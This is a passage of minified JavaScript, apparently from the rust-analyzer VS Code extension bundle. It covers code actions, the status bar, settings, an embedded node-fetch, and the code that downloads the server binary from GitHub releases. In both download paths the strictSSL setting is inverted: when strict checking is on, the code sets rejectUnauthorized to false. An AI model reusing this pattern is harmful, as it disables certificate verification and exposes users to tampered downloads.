H},A=>(g.handleFailedRequest(ln.HoverRequest.type,C,A,null),Promise.resolve(null)))},async provideCodeActions(v,b,C,w,E){let q={textDocument:g.code2ProtocolConverter.asTextDocumentIdentifier(v),range:g.code2ProtocolConverter.asRange(b),context:g.code2ProtocolConverter.asCodeActionContext(C)};return g.sendRequest(ln.CodeActionRequest.type,q,w).then(N=>{if(N===null)return;let A=[],H=new Map;for(let O of N){if(ln.CodeAction.is(O)){cn(!O.command,"We don't expect to receive commands in CodeActions");let X=g.protocol2CodeConverter.asCodeAction(O);A.push(X);continue}cn(hk(O),"We don't expect edits or commands here");let z=g.protocol2CodeConverter.asCodeActionKind(O.kind),M=new dn.CodeAction(O.title,z),G=O.group;if(M.command={command:"rust-analyzer.resolveCodeAction",title:O.title,arguments:[O]},M.edit=new Gl.WorkspaceEdit,G){let X=H.get(G);X||(X={index:A.length,items:[]},H.set(G,X),A.push(M)),X.items.push(M)}else A.push(M)}for(let[O,{index:z,items:M}]of H)if(M.length===1)A[z]=M[0];else{let G=new dn.CodeAction(O);G.kind=M[0].kind,G.command={command:"rust-analyzer.applyActionGroup",title:"",arguments:[M.map(X=>({label:X.title,arguments:X.command.arguments[0]}))]},G.edit=new Gl.WorkspaceEdit,A[z]=G}return A},N=>{})}}},g=new ln.LanguageClient("rust-analyzer","Rust Analyzer Language Server",s,u);return g.registerFeature(new Jb),g}var Jb=class{fillClientCapabilities(e){let t=e.experimental??{};t.snippetTextEdit=!0,t.codeActionGroup=!0,t.hoverActions=!0,t.serverStatusNotification=!0,t.commands={commands:["rust-analyzer.runSingle","rust-analyzer.debugSingle","rust-analyzer.showReferences","rust-analyzer.gotoLocation","editor.action.triggerParameterHints"]},e.experimental=t}initialize(e,t){}dispose(){}};function hk(r){let e=r;return e&&ms.string(e.title)&&(e.diagnostics===void 0||ms.typedArray(e.diagnostics,ln.Diagnostic.is))&&(e.kind===void 0||ms.string(e.kind))&&e.edit===void 0&&e.command===void 0}var io=class{constructor(e,t,n,i,s){this.config=e;this.extCtx=t;this.client=n;this.serverPath=i;this.statusBar=s}static async create(e,t,n,i){let s=Qb(n,i,e.serverExtraEnv),a=Vr.window.createStatusBarItem(Vr.StatusBarAlignment.Left);t.subscriptions.push(a),a.text="rust-analyzer",a.tooltip="ready",a.command="rust-analyzer.analyzerStatus",a.show();let l=new io(e,t,s,n,a);return l.pushCleanup(s.start()),await s.onReady(),s.onNotification(Py,u=>l.setServerStatus(u)),l}get activeRustEditor(){let e=Vr.window.activeTextEditor;return e&&Pn(e)?e:void 0}get visibleRustEditors(){return Vr.window.visibleTextEditors.filter(Pn)}registerCommand(e,t){let n=`rust-analyzer.${e}`,i=t(this),s=Vr.commands.registerCommand(n,i);this.pushCleanup(s)}get extensionPath(){return this.extCtx.extensionPath}get globalState(){return this.extCtx.globalState}get subscriptions(){return this.extCtx.subscriptions}setServerStatus(e){this.statusBar.tooltip=e.message??"Ready";let t="";switch(e.health){case"ok":this.statusBar.color=void 0;break;case"warning":this.statusBar.tooltip+=`
Click to reload.`,this.statusBar.command="rust-analyzer.reloadWorkspace",this.statusBar.color=new Vr.ThemeColor("notificationsWarningIcon.foreground"),t="$(warning) ";break;case"error":this.statusBar.tooltip+=`
Click to reload.`,this.statusBar.command="rust-analyzer.reloadWorkspace",this.statusBar.color=new Vr.ThemeColor("notificationsErrorIcon.foreground"),t="$(error) ";break}e.quiescent||(t="$(sync~spin) "),this.statusBar.text=`${t} rust-analyzer`}pushCleanup(e){this.extCtx.subscriptions.push(e)}};var Yr=oe(require("vscode"));var pk="nightly";var Vl=class{constructor(e){this.extensionId="matklad.rust-analyzer";this.rootSection="rust-analyzer";this.requiresReloadOpts=["serverPath","server","cargo","procMacro","files","highlighting","updates.channel","lens"].map(e=>`${this.rootSection}.${e}`);this.package=Yr.extensions.getExtension(this.extensionId).packageJSON;this.globalStorageUri=e.globalStorageUri,Yr.workspace.onDidChangeConfiguration(this.onDidChangeConfiguration,this,e.subscriptions),this.refreshLogging()}refreshLogging(){ae.setEnabled(this.traceExtension),ae.info("Extension version:",this.package.version);let e=Object.entries(this.cfg).filter(([t,n])=>!(n instanceof Function));ae.info("Using configuration",Object.fromEntries(e))}async onDidChangeConfiguration(e){this.refreshLogging();let t=this.requiresReloadOpts.find(i=>e.affectsConfiguration(i));if(!t)return;await Yr.window.showInformationMessage(`Changing "${t}" requires a reload`,"Reload now")==="Reload now"&&await Yr.commands.executeCommand("workbench.action.reloadWindow")}get cfg(){return Yr.workspace.getConfiguration(this.rootSection)}get(e){return this.cfg.get(e)}get serverPath(){return this.get("server.path")??this.get("serverPath")}get serverExtraEnv(){return this.get("server.extraEnv")??{}}get channel(){return this.get("updates.channel")}get askBeforeDownload(){return this.get("updates.askBeforeDownload")}get traceExtension(){return this.get("trace.extension")}get proxySettings(){let e=Yr.workspace.getConfiguration("http").get("proxy")||process.env.https_proxy||process.env.HTTPS_PROXY,t=Yr.workspace.getConfiguration("http").get("proxyStrictSSL")??!0;return{proxy:e,strictSSL:t}}get inlayHints(){return{enable:this.get("inlayHints.enable"),typeHints:this.get("inlayHints.typeHints"),parameterHints:this.get("inlayHints.parameterHints"),chainingHints:this.get("inlayHints.chainingHints"),hideNamedConstructorHints:this.get("inlayHints.hideNamedConstructorHints"),smallerHints:this.get("inlayHints.smallerHints"),maxLength:this.get("inlayHints.maxLength")}}get cargoRunner(){return this.get("cargoRunner")}get runnableEnv(){return this.get("runnableEnv")}get debug(){let e=this.get("debug.sourceFileMap");if(e!=="auto"){let t=this.get("debug.sourceFileMap"),{["/rustc/<id>"]:n}=t;e=df(t,["/rustc/<id>"])}return{engine:this.get("debug.engine"),engineSettings:this.get("debug.engineSettings"),openDebugPane:this.get("debug.openDebugPane"),sourceFileMap:e}}get hoverActions(){return{enable:this.get("hoverActions.enable"),implementations:this.get("hoverActions.implementations"),references:this.get("hoverActions.references"),run:this.get("hoverActions.run"),debug:this.get("hoverActions.debug"),gotoTypeDef:this.get("hoverActions.gotoTypeDef")}}get currentExtensionIsNightly(){return this.package.releaseTag===pk}};var fc=class{constructor(e){this.globalState=e;let{lastCheck:t,nightlyReleaseId:n,serverVersion:i}=this;ae.info("PersistentState:",{lastCheck:t,nightlyReleaseId:n,serverVersion:i})}get lastCheck(){return this.globalState.get("lastCheck")}async updateLastCheck(e){await this.globalState.update("lastCheck",e)}get nightlyReleaseId(){return this.globalState.get("releaseId")}async updateNightlyReleaseId(e){await this.globalState.update("releaseId",e)}get serverVersion(){return this.globalState.get("serverVersion")}async updateServerVersion(e){await this.globalState.update("serverVersion",e)}get githubToken(){return this.globalState.get("githubToken")}async updateGithubToken(e){await this.globalState.update("githubToken",e)}};var kw=oe(require("http")),qw=oe(require("https")),Ci=oe(require("zlib")),hr=oe(require("stream"));function gk(r){if(!/^data:/i.test(r))throw new TypeError('`uri` does not appear to be a Data URI (must begin with "data:")');r=r.replace(/\r?\n/g,"");let e=r.indexOf(",");if(e===-1||e<=4)throw new TypeError("malformed data: URI");let t=r.substring(5,e).split(";"),n="",i=!1,s=t[0]||"text/plain",a=s;for(let v=1;v<t.length;v++)t[v]==="base64"?i=!0:(a+=`;${t[v]}`,t[v].indexOf("charset=")===0&&(n=t[v].substring(8)));!t[0]&&!n.length&&(a+=";charset=US-ASCII",n="US-ASCII");let l=i?"base64":"ascii",u=unescape(r.substring(e+1)),g=Buffer.from(u,l);return g.type=s,g.typeFull=a,g.charset=n,g}var Zb=gk;var Xr=oe(require("stream")),uo=oe(require("util"));ys();Jl();var Hn=class extends Error{constructor(e,t){super(e);Error.captureStackTrace(this,this.constructor),this.type=t}get name(){return this.constructor.name}get[Symbol.toStringTag](){return this.constructor.name}};var kr=class extends Hn{constructor(e,t,n){super(e,t);n&&(this.code=this.errno=n.code,this.erroredSysCall=n.syscall)}};var pc=Symbol.toStringTag,Zl=r=>typeof r=="object"&&typeof r.append=="function"&&typeof r.delete=="function"&&typeof r.get=="function"&&typeof r.getAll=="function"&&typeof r.has=="function"&&typeof r.set=="function"&&typeof r.sort=="function"&&r[pc]==="URLSearchParams",_s=r=>r&&typeof r=="object"&&typeof r.arrayBuffer=="function"&&typeof r.type=="string"&&typeof r.stream=="function"&&typeof r.constructor=="function"&&/^(Blob|File)$/.test(r[pc]),lw=r=>typeof r=="object"&&(r[pc]==="AbortSignal"||r[pc]==="EventTarget");var sr=Symbol("Body internals"),En=class{constructor(e,{size:t=0}={}){let n=null;e===null?e=null:Zl(e)?e=Buffer.from(e.toString()):_s(e)||Buffer.isBuffer(e)||(uo.types.isAnyArrayBuffer(e)?e=Buffer.from(e):ArrayBuffer.isView(e)?e=Buffer.from(e.buffer,e.byteOffset,e.byteLength):e instanceof Xr.default||(e instanceof ao?(e=cw(e),n=e.type.split("=")[1]):e=Buffer.from(String(e))));let i=e;Buffer.isBuffer(e)?i=Xr.default.Readable.from(e):_s(e)&&(i=Xr.default.Readable.from(e.stream())),this[sr]={body:e,stream:i,boundary:n,disturbed:!1,error:null},this.size=t,e instanceof Xr.default&&e.on("error",s=>{let a=s instanceof Hn?s:new kr(`Invalid response body while trying to fetch ${this.url}: ${s.message}`,"system",s);this[sr].error=a})}get body(){return this[sr].stream}get bodyUsed(){return this[sr].disturbed}async arrayBuffer(){let{buffer:e,byteOffset:t,byteLength:n}=await vc(this);return e.slice(t,t+n)}async formData(){let e=this.headers.get("content-type");if(e.startsWith("application/x-www-form-urlencoded")){let n=new ao,i=new URLSearchParams(await this.text());for(let[s,a]of i)n.append(s,a);return n}let{toFormData:t}=await Promise.resolve().then(()=>(mw(),gw));return t(this.body,e)}async blob(){let e=this.headers&&this.headers.get("content-type")||this[sr].body&&this[sr].body.type||"",t=await this.buffer();return new vi([t],{type:e})}async json(){let e=await vc(this);return JSON.parse(e.toString())}async text(){return(await vc(this)).toString()}buffer(){return vc(this)}};En.prototype.buffer=(0,uo.deprecate)(En.prototype.buffer,"Please use 'response.arrayBuffer()' instead of 'response.buffer()'","node-fetch#buffer");Object.defineProperties(En.prototype,{body:{enumerable:!0},bodyUsed:{enumerable:!0},arrayBuffer:{enumerable:!0},blob:{enumerable:!0},json:{enumerable:!0},text:{enumerable:!0}});async function vc(r){if(r[sr].disturbed)throw new TypeError(`body used already for: ${r.url}`);if(r[sr].disturbed=!0,r[sr].error)throw r[sr].error;let{body:e}=r;if(e===null||!(e instanceof Xr.default))return Buffer.alloc(0);let t=[],n=0;try{for await(let i of e){if(r.size>0&&n+i.length>r.size){let s=new kr(`content size at ${r.url} over limit: ${r.size}`,"max-size");throw e.destroy(s),s}n+=i.length,t.push(i)}}catch(i){throw i instanceof Hn?i:new kr(`Invalid response body while trying to fetch ${r.url}: ${i.message}`,"system",i)}if(e.readableEnded===!0||e._readableState.ended===!0)try{return t.every(i=>typeof i=="string")?Buffer.from(t.join("")):Buffer.concat(t,n)}catch(i){throw new kr(`Could not create Buffer from response body for ${r.url}: ${i.message}`,"system",i)}else throw new kr(`Premature close of server response while trying to fetch ${r.url}`)}var lo=(r,e)=>{let t,n,{body:i}=r[sr];if(r.bodyUsed)throw new Error("cannot clone body after it is used");return i instanceof Xr.default&&typeof i.getBoundary!="function"&&(t=new Xr.PassThrough({highWaterMark:e}),n=new Xr.PassThrough({highWaterMark:e}),i.pipe(t),i.pipe(n),r[sr].stream=t,i=n),i},Fk=(0,uo.deprecate)(r=>r.getBoundary(),"form-data doesn't follow the spec and requires special treatment. Use alternative package","https://github.com/node-fetch/node-fetch/issues/1167"),yc=(r,e)=>r===null?null:typeof r=="string"?"text/plain;charset=UTF-8":Zl(r)?"application/x-www-form-urlencoded;charset=UTF-8":_s(r)?r.type||null:Buffer.isBuffer(r)||uo.types.isAnyArrayBuffer(r)||ArrayBuffer.isView(r)?null:r instanceof ao?`multipart/form-data; boundary=${e[sr].boundary}`:r&&typeof r.getBoundary=="function"?`multipart/form-data;boundary=${Fk(r)}`:r instanceof Xr.default?null:"text/plain;charset=UTF-8",vw=r=>{let{body:e}=r[sr];return e===null?0:_s(e)?e.size:Buffer.isBuffer(e)?e.length:e&&typeof e.getLengthSync=="function"&&e.hasKnownLength&&e.hasKnownLength()?e.getLengthSync():null},yw=(r,{body:e})=>{e===null?r.end():e.pipe(r)};var td=oe(require("util")),Ps=oe(require("http")),bc=typeof Ps.default.validateHeaderName=="function"?Ps.default.validateHeaderName:r=>{if(!/^[\^`\-\w!#$%&'*+.|~]+$/.test(r)){let e=new TypeError(`Header name must be a valid HTTP token [${r}]`);throw Object.defineProperty(e,"code",{value:"ERR_INVALID_HTTP_TOKEN"}),e}},rd=typeof Ps.default.validateHeaderValue=="function"?Ps.default.validateHeaderValue:(r,e)=>{if(/[^\t\u0020-\u007E\u0080-\u00FF]/.test(e)){let t=new TypeError(`Invalid character in header content ["${r}"]`);throw Object.defineProperty(t,"code",{value:"ERR_INVALID_CHAR"}),t}},fr=class extends URLSearchParams{constructor(e){let t=[];if(e instanceof fr){let n=e.raw();for(let[i,s]of Object.entries(n))t.push(...s.map(a=>[i,a]))}else if(e!=null)if(typeof e=="object"&&!td.types.isBoxedPrimitive(e)){let n=e[Symbol.iterator];if(n==null)t.push(...Object.entries(e));else{if(typeof n!="function")throw new TypeError("Header pairs must be iterable");t=[...e].map(i=>{if(typeof i!="object"||td.types.isBoxedPrimitive(i))throw new TypeError("Each header pair must be an iterable object");return[...i]}).map(i=>{if(i.length!==2)throw new TypeError("Each header pair must be a name/value tuple");return[...i]})}}else throw new TypeError("Failed to construct 'Headers': The provided value is not of type '(sequence<sequence<ByteString>> or record<ByteString, ByteString>)");t=t.length>0?t.map(([n,i])=>(bc(n),rd(n,String(i)),[String(n).toLowerCase(),String(i)])):void 0;super(t);return new Proxy(this,{get(n,i,s){switch(i){case"append":case"set":return(a,l)=>(bc(a),rd(a,String(l)),URLSearchParams.prototype[i].call(n,String(a).toLowerCase(),String(l)));case"delete":case"has":case"getAll":return a=>(bc(a),URLSearchParams.prototype[i].call(n,String(a).toLowerCase()));case"keys":return()=>(n.sort(),new Set(URLSearchParams.prototype.keys.call(n)).keys());default:return Reflect.get(n,i,s)}}})}get[Symbol.toStringTag](){return this.constructor.name}toString(){return Object.prototype.toString.call(this)}get(e){let t=this.getAll(e);if(t.length===0)return null;let n=t.join(", ");return/^content-encoding$/i.test(e)&&(n=n.toLowerCase()),n}forEach(e,t=void 0){for(let n of this.keys())Reflect.apply(e,t,[this.get(n),n,this])}*values(){for(let e of this.keys())yield this.get(e)}*entries(){for(let e of this.keys())yield[e,this.get(e)]}[Symbol.iterator](){return this.entries()}raw(){return[...this.keys()].reduce((e,t)=>(e[t]=this.getAll(t),e),{})}[Symbol.for("nodejs.util.inspect.custom")](){return[...this.keys()].reduce((e,t)=>{let n=this.getAll(t);return t==="host"?e[t]=n[0]:e[t]=n.length>1?n:n[0],e},{})}};Object.defineProperties(fr.prototype,["get","entries","forEach","values"].reduce((r,e)=>(r[e]={enumerable:!0},r),{}));function bw(r=[]){return new fr(r.reduce((e,t,n,i)=>(n%2==0&&e.push(i.slice(n,n+2)),e),[]).filter(([e,t])=>{try{return bc(e),rd(e,String(t)),!0}catch{return!1}}))}var Ik=new Set([301,302,303,307,308]),wc=r=>Ik.has(r);var Qr=Symbol("Response internals"),ar=class extends En{constructor(e=null,t={}){super(e,t);let n=t.status!=null?t.status:200,i=new fr(t.headers);if(e!==null&&!i.has("Content-Type")){let s=yc(e,this);s&&i.append("Content-Type",s)}this[Qr]={type:"default",url:t.url,status:n,statusText:t.statusText||"",headers:i,counter:t.counter,highWaterMark:t.highWaterMark}}get type(){return this[Qr].type}get url(){return this[Qr].url||""}get status(){return this[Qr].status}get ok(){return this[Qr].status>=200&&this[Qr].status<300}get redirected(){return this[Qr].counter>0}get statusText(){return this[Qr].statusText}get headers(){return this[Qr].headers}get highWaterMark(){return this[Qr].highWaterMark}clone(){return new ar(lo(this,this.highWaterMark),{type:this.type,url:this.url,status:this.status,statusText:this.statusText,headers:this.headers,ok:this.ok,redirected:this.redirected,size:this.size,highWaterMark:this.highWaterMark})}static redirect(e,t=302){if(!wc(t))throw new RangeError('Failed to execute "redirect" on "response": Invalid status code');return new ar(null,{headers:{location:new URL(e).toString()},status:t})}static error(){let e=new ar(null,{status:0,statusText:""});return e[Qr].type="error",e}get[Symbol.toStringTag](){return"Response"}};Object.defineProperties(ar.prototype,{type:{enumerable:!0},url:{enumerable:!0},status:{enumerable:!0},ok:{enumerable:!0},redirected:{enumerable:!0},statusText:{enumerable:!0},headers:{enumerable:!0},clone:{enumerable:!0}});var Ew=oe(require("url"));var ww=r=>{if(r.search)return r.search;let e=r.href.length-1,t=r.hash||(r.href[e]==="#"?"#":"");return r.href[e-t.length]==="?"?"?":""};var Cw=oe(require("net"));function Rw(r,e=!1){return r==null||(r=new URL(r),/^(about|blob|data):$/.test(r.protocol))?"no-referrer":(r.username="",r.password="",r.hash="",e&&(r.pathname="",r.search=""),r)}var _w=new Set(["","no-referrer","no-referrer-when-downgrade","same-origin","origin","strict-origin","origin-when-cross-origin","strict-origin-when-cross-origin","unsafe-url"]),Sw="strict-origin-when-cross-origin";function Tw(r){if(!_w.has(r))throw new TypeError(`Invalid referrerPolicy: ${r}`);return r}function Lk(r){if(/^(http|ws)s:$/.test(r.protocol))return!0;let e=r.host.replace(/(^\[)|(]$)/g,""),t=(0,Cw.isIP)(e);return t===4&&/^127\./.test(e)||t===6&&/^(((0+:){7})|(::(0+:){0,6}))0*1$/.test(e)?!0:/^(.+\.)*localhost$/.test(r.host)?!1:r.protocol==="file:"}function fo(r){return/^about:(blank|srcdoc)$/.test(r)||r.protocol==="data:"||/^(blob|filesystem):$/.test(r.protocol)?!0:Lk(r)}function Pw(r,{referrerURLCallback:e,referrerOriginCallback:t}={}){if(r.referrer==="no-referrer"||r.referrerPolicy==="")return null;let n=r.referrerPolicy;if(r.referrer==="about:client")return"no-referrer";let i=r.referrer,s=Rw(i),a=Rw(i,!0);s.toString().length>4096&&(s=a),e&&(s=e(s)),t&&(a=t(a));let l=new URL(r.url);switch(n){case"no-referrer":return"no-referrer";case"origin":return a;case"unsafe-url":return s;case"strict-origin":return fo(s)&&!fo(l)?"no-referrer":a.toString();case"strict-origin-when-cross-origin":return s.origin===l.origin?s:fo(s)&&!fo(l)?"no-referrer":a;case"same-origin":return s.origin===l.origin?s:"no-referrer";case"origin-when-cross-origin":return s.origin===l.origin?s:a;case"no-referrer-when-downgrade":return fo(s)&&!fo(l)?"no-referrer":s;default:throw new TypeError(`Invalid referrerPolicy: ${n}`)}}function Dw(r){let e=(r.get("referrer-policy")||"").split(/[,\s]+/),t="";for(let n of e)n&&_w.has(n)&&(t=n);return t}var Rt=Symbol("Request internals"),Cc=r=>typeof r=="object"&&typeof r[Rt]=="object",Bn=class extends En{constructor(e,t={}){let n;if(Cc(e)?n=new URL(e.url):(n=new URL(e),e={}),n.username!==""||n.password!=="")throw new TypeError(`${n} is an url with embedded credentails.`);let i=t.method||e.method||"GET";if(i=i.toUpperCase(),(t.body!=null||Cc(e))&&e.body!==null&&(i==="GET"||i==="HEAD"))throw new TypeError("Request with GET/HEAD method cannot have body");let s=t.body?t.body:Cc(e)&&e.body!==null?lo(e):null;super(s,{size:t.size||e.size||0});let a=new fr(t.headers||e.headers||{});if(s!==null&&!a.has("Content-Type")){let g=yc(s,this);g&&a.set("Content-Type",g)}let l=Cc(e)?e.signal:null;if("signal"in t&&(l=t.signal),l!=null&&!lw(l))throw new TypeError("Expected signal to be an instanceof AbortSignal or EventTarget");let u=t.referrer==null?e.referrer:t.referrer;if(u==="")u="no-referrer";else if(u){let g=new URL(u);u=/^about:(\/\/)?client$/.test(g)?"client":g}else u=void 0;this[Rt]={method:i,redirect:t.redirect||e.redirect||"follow",headers:a,parsedURL:n,signal:l,referrer:u},this.follow=t.follow===void 0?e.follow===void 0?20:e.follow:t.follow,this.compress=t.compress===void 0?e.compress===void 0?!0:e.compress:t.compress,this.counter=t.counter||e.counter||0,this.agent=t.agent||e.agent,this.highWaterMark=t.highWaterMark||e.highWaterMark||16384,this.insecureHTTPParser=t.insecureHTTPParser||e.insecureHTTPParser||!1,this.referrerPolicy=t.referrerPolicy||e.referrerPolicy||""}get method(){return this[Rt].method}get url(){return(0,Ew.format)(this[Rt].parsedURL)}get headers(){return this[Rt].headers}get redirect(){return this[Rt].redirect}get signal(){return this[Rt].signal}get referrer(){if(this[Rt].referrer==="no-referrer")return"";if(this[Rt].referrer==="client")return"about:client";if(this[Rt].referrer)return this[Rt].referrer.toString()}get referrerPolicy(){return this[Rt].referrerPolicy}set referrerPolicy(e){this[Rt].referrerPolicy=Tw(e)}clone(){return new Bn(this)}get[Symbol.toStringTag](){return"Request"}};Object.defineProperties(Bn.prototype,{method:{enumerable:!0},url:{enumerable:!0},headers:{enumerable:!0},redirect:{enumerable:!0},clone:{enumerable:!0},signal:{enumerable:!0},referrer:{enumerable:!0},referrerPolicy:{enumerable:!0}});var xw=r=>{let{parsedURL:e}=r[Rt],t=new fr(r[Rt].headers);t.has("Accept")||t.set("Accept","*/*");let n=null;if(r.body===null&&/^(post|put)$/i.test(r.method)&&(n="0"),r.body!==null){let l=vw(r);typeof l=="number"&&!Number.isNaN(l)&&(n=String(l))}n&&t.set("Content-Length",n),r.referrerPolicy===""&&(r.referrerPolicy=Sw),r.referrer&&r.referrer!=="no-referrer"?r[Rt].referrer=Pw(r):r[Rt].referrer="no-referrer",r[Rt].referrer instanceof URL&&t.set("Referer",r.referrer),t.has("User-Agent")||t.set("User-Agent","node-fetch"),r.compress&&!t.has("Accept-Encoding")&&t.set("Accept-Encoding","gzip,deflate,br");let{agent:i}=r;typeof i=="function"&&(i=i(e)),!t.has("Connection")&&!i&&t.set("Connection","close");let s=ww(e),a={path:e.pathname+s,method:r.method,headers:t[Symbol.for("nodejs.util.inspect.custom")](),insecureHTTPParser:r.insecureHTTPParser,agent:i};return{parsedURL:e,options:a}};var nd=class extends Hn{constructor(e,t="aborted"){super(e,t)}};var Nk=new Set(["data:","http:","https:"]);async function Ds(r,e){return new Promise((t,n)=>{let i=new Bn(r,e),{parsedURL:s,options:a}=xw(i);if(!Nk.has(s.protocol))throw new TypeError(`node-fetch cannot load ${r}. URL scheme "${s.protocol.replace(/:$/,"")}" is not supported.`);if(s.protocol==="data:"){let E=Zb(i.url),q=new ar(E,{headers:{"Content-Type":E.typeFull}});t(q);return}let l=(s.protocol==="https:"?qw.default:kw.default).request,{signal:u}=i,g=null,v=()=>{let E=new nd("The operation was aborted.");n(E),i.body&&i.body instanceof hr.default.Readable&&i.body.destroy(E),!(!g||!g.body)&&g.body.emit("error",E)};if(u&&u.aborted){v();return}let b=()=>{v(),w()},C=l(s,a);u&&u.addEventListener("abort",b);let w=()=>{C.abort(),u&&u.removeEventListener("abort",b)};C.on("error",E=>{n(new kr(`request to ${i.url} failed, reason: ${E.message}`,"system",E)),w()}),Mk(C,E=>{g.body.destroy(E)}),process.version<"v14"&&C.on("socket",E=>{let q;E.prependListener("end",()=>{q=E._eventsCount}),E.prependListener("close",N=>{if(g&&q<E._eventsCount&&!N){let A=new Error("Premature close");A.code="ERR_STREAM_PREMATURE_CLOSE",g.body.emit("error",A)}})}),C.on("response",E=>{C.setTimeout(0);let q=bw(E.rawHeaders);if(wc(E.statusCode)){let z=q.get("Location"),M=z===null?null:new URL(z,i.url);switch(i.redirect){case"error":n(new kr(`uri requested responds with a redirect, redirect mode is set to error: ${i.url}`,"no-redirect")),w();return;case"manual":M!==null&&q.set("Location",M);break;case"follow":{if(M===null)break;if(i.counter>=i.follow){n(new kr(`maximum redirect reached at: ${i.url}`,"max-redirect")),w();return}let G={headers:new fr(i.headers),follow:i.follow,counter:i.counter+1,agent:i.agent,compress:i.compress,method:i.method,body:lo(i),signal:i.signal,size:i.size,referrer:i.referrer,referrerPolicy:i.referrerPolicy};if(E.statusCode!==303&&i.body&&e.body instanceof hr.default.Readable){n(new kr("Cannot follow redirect with body being a readable stream","unsupported-redirect")),w();return}(E.statusCode===303||(E.statusCode===301||E.statusCode===302)&&i.method==="POST")&&(G.method="GET",G.body=void 0,G.headers.delete("content-length"));let X=Dw(q);X&&(G.referrerPolicy=X),t(Ds(new Bn(M,G))),w();return}default:return n(new TypeError(`Redirect option '${i.redirect}' is not a valid value of RequestRedirect`))}}u&&E.once("end",()=>{u.removeEventListener("abort",b)});let N=(0,hr.pipeline)(E,new hr.PassThrough,n);process.version<"v12.10"&&E.on("aborted",b);let A={url:i.url,status:E.statusCode,statusText:E.statusMessage,headers:q,size:i.size,counter:i.counter,highWaterMark:i.highWaterMark},H=q.get("Content-Encoding");if(!i.compress||i.method==="HEAD"||H===null||E.statusCode===204||E.statusCode===304){g=new ar(N,A),t(g);return}let O={flush:Ci.default.Z_SYNC_FLUSH,finishFlush:Ci.default.Z_SYNC_FLUSH};if(H==="gzip"||H==="x-gzip"){N=(0,hr.pipeline)(N,Ci.default.createGunzip(O),n),g=new ar(N,A),t(g);return}if(H==="deflate"||H==="x-deflate"){(0,hr.pipeline)(E,new hr.PassThrough,n).once("data",M=>{N=(M[0]&15)==8?(0,hr.pipeline)(N,Ci.default.createInflate(),n):(0,hr.pipeline)(N,Ci.default.createInflateRaw(),n),g=new ar(N,A),t(g)});return}if(H==="br"){N=(0,hr.pipeline)(N,Ci.default.createBrotliDecompress(),n),g=new ar(N,A),t(g);return}g=new ar(N,A),t(g)}),yw(C,i)})}function Mk(r,e){let t=Buffer.from(`0\r
\r
`),n=!1,i=!1,s;r.on("response",a=>{let{headers:l}=a;n=l["transfer-encoding"]==="chunked"&&!l["content-length"]}),r.on("socket",a=>{let l=()=>{if(n&&!i){let u=new Error("Premature close");u.code="ERR_STREAM_PREMATURE_CLOSE",e(u)}};a.prependListener("close",l),r.on("abort",()=>{a.removeListener("close",l)}),a.on("data",u=>{i=Buffer.compare(u.slice(-5),t)===0,!i&&s&&(i=Buffer.compare(s.slice(-3),t.slice(0,3))===0&&Buffer.compare(u.slice(-2),t.slice(3))===0),s=u})})}var $t=oe(require("vscode")),eC=oe(require("stream")),tC=oe(require("crypto")),rC=oe(require("fs")),nC=oe(require("zlib")),iC=oe(require("util")),oC=oe(require("path"));var sC=oe(require("https")),P0=Zw(),D0=iC.promisify(eC.pipeline),E0="https://api.github.com",x0="rust-analyzer",k0="rust-analyzer";function aC(r,e){return r?new P0(Xn(Xn({},e),new URL(r))):new sC.Agent(e)}async function pd(r,e,t){let n=`/repos/${x0}/${k0}/releases/tags/${r}`,i=E0+n;ae.debug("Issuing request for released artifacts metadata to",i);let s={Accept:"application/vnd.github.v3+json"};e!=null&&(s.Authorization="token "+e);let a=await(()=>{t.proxy&&ae.debug(`Fetching release metadata via proxy: ${t.proxy}`);let u={};t.strictSSL&&(u.rejectUnauthorized=!1);let g=aC(t.proxy,u);return Ds(i,{headers:s,agent:g})})();if(!a.ok)throw ae.error("Error fetching artifact release info",{requestUrl:i,releaseTag:r,response:{headers:a.headers,status:a.status,body:await a.text()}}),new Error(`Got response ${a.status} when trying to fetch release info for ${r} release`);return await a.json()}async function gd(r){let e=tC.randomBytes(5).toString("hex"),t=oC.parse(r.dest.fsPath),n=$t.Uri.joinPath($t.Uri.file(t.dir),`${t.name}-stale-${e}${t.ext}`),i=$t.Uri.joinPath($t.Uri.file(t.dir),`${t.name}${e}`);await $t.window.withProgress({location:$t.ProgressLocation.Notification,cancellable:!1,title:r.progressTitle},async(a,l)=>{let u=0;await q0(r.url,i,r.mode,!!r.gunzip,r.proxySettings,(g,v)=>{let b=Math.round(g/v*100);b!==u&&(a.report({message:`${b.toFixed(0)}%`,increment:b-u}),u=b)})});try{await $t.workspace.fs.rename(r.dest,n,{overwrite:!0}),ae.info(`Renamed old server binary ${r.dest.fsPath} to ${n.fsPath}`)}catch(a){let l=a;(!l.code||l.code!=="EntryNotFound"&&l.name.indexOf("EntryNotFound")===-1)&&ae.error(`Cannot rename existing server instance: ${a}"`)}try{await $t.workspace.fs.rename(i,r.dest,{overwrite:!0})}catch(a){ae.error(`Cannot update server binary: ${a}`)}let s=$t.Uri.file(t.dir);try{let a=await $t.workspace.fs.readDirectory(s);for(let[l,u]of a)try{if(l.includes(`${t.name}-stale-`)){let g=$t.Uri.joinPath(s,l);try{await $t.workspace.fs.delete(g),ae.info(`Removed old server binary ${g.fsPath}`)}catch{ae.error(`Unable to remove old server binary ${g.fsPath}`)}}}catch{ae.error(`Unable to parse ${l}`)}}catch{ae.error(`Unable to enumerate contents of ${s.fsPath}`)}}async function q0(r,e,t,n,i,s){let a=r.toString(),l=await(()=>{i.proxy&&ae.debug(`Downloading ${a} via proxy: ${i.proxy}`);let C={};i.strictSSL&&(C.rejectUnauthorized=!1);let w=aC(i.proxy,C);return Ds(a,{agent:w})})();if(!l.ok)throw ae.error("Error",l.status,"while downloading file from",a),ae.error({body:await l.text(),headers:l.headers}),new Error(`Got response ${l.status} when trying to download a file.`);if(!l.body)throw ae.error("Empty body while downloading file from",a),ae.error({headers:l.headers}),new Error("Got empty body when trying to download a file.");let u=Number(l.headers.get("content-length"));cn(!Number.isNaN(u),"Sanity check of content-length protocol"),ae.debug("Downloading file of",u,"bytes size from",a,"to",e.fsPath);let g=0;l.body.on("data",C=>{g+=C.length,s(g,u)});let v=rC.createWriteStream(e.fsPath,{mode:t}),b=n?l.body.pipe(nC.createGunzip()):l.body;await D0(b,v)}var Ec=oe(require("child_process")),Jt,uC="inRustProject";async function lC(r){await O0(r).catch(e=>{throw he.window.showErrorMessage(`Cannot activate rust-analyzer: ${e.message}`),e})}async function O0(r){let e=new Vl(r),t=new fc(r.globalState),n=await F0(e,t).catch(i=>{let s="bootstrap error. 